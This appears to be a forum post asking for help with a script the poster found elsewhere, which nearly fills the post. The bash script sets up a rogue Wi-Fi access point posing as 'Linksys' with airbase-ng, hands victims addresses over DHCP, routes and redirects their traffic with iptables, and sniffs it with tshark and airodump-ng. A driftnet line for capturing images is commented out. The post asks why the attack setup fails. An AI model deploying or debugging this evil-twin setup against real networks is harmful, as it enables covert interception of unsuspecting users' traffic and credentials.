First off i want to say i did not make this script, i did find it off this forum. Second, I'm having trouble having clients connect. Clients take forever to connect, and when they do they are not getting Ip addresses.

Any help is much appreciated.

Backtrack 2.6.28.1
Orinoco Gold b/g using ath5k drivers

Latest Aircrack-ng
planning on updating 2.6.28.3 (due to updated ath5k mesh driver fix)

Code:

#!/bin/bash

modprobe tun
airmon-ng stop mon0
airmon-ng start wlan0

# -=SoftAP Options=-

xterm -e airbase-ng -P -C 5 -c 6 -e Linksys -a 00:14:6C:F0:AD:00 wlan0 &


ifconfig at0 up
sleep 1
ifconfig at0 192.168.1.129 netmask 255.255.255.128
route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129

# monitor
xterm -e airodump-ng -c 6 --bssid 00:14:6C:F0:AD:00 mon0 &

xterm -e tshark -i 3 "not broadcast and not multicast" & # at0 = 3


#kill all dns
killall dnsmasq

#DHCP KillAll
killall dhcp

## make sure we clean our dhcpd.leases
echo > '/var/state/dhcp/dhcpd.leases'

# start dhcp server for subnet
dhcpd -cf dhcpd.conf at0

## solve our dns forwarder
dnsmasq restart


# create custom dhcpd.conf for WLAN
#cat > dhcpd.conf << EOF
#ddns-update-style ad-hoc;
#default-lease-time 600;
#max-lease-time 7200;
#subnet 192.168.1.128 netmask 255.255.255.128 {
#option subnet-mask 255.255.255.128;
#option broadcast-address 192.168.1.255;
#option routers 192.168.1.129;
#option domain-name-servers 208.67.222.222;
#range 192.168.1.130 192.168.1.140;
#}
#EOF

###########IP TABLES################


# iptables cleanup
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain

# iptables
iptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE # gateway to ext. router
iptables --append FORWARD --in-interface at0 -j ACCEPT # rogue gateway
iptables -t nat -A PREROUTING -s 192.168.1.128/25 -d 192.168.1.0/25 -j DROP # protect LAN from WLAN (DROP/REJECT)
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to 192.168.1.1 # DNS --to 208.67.222.222
echo 1 > /proc/sys/net/ipv4/ip_forward


#DriftNet

#driftnet -i wlan0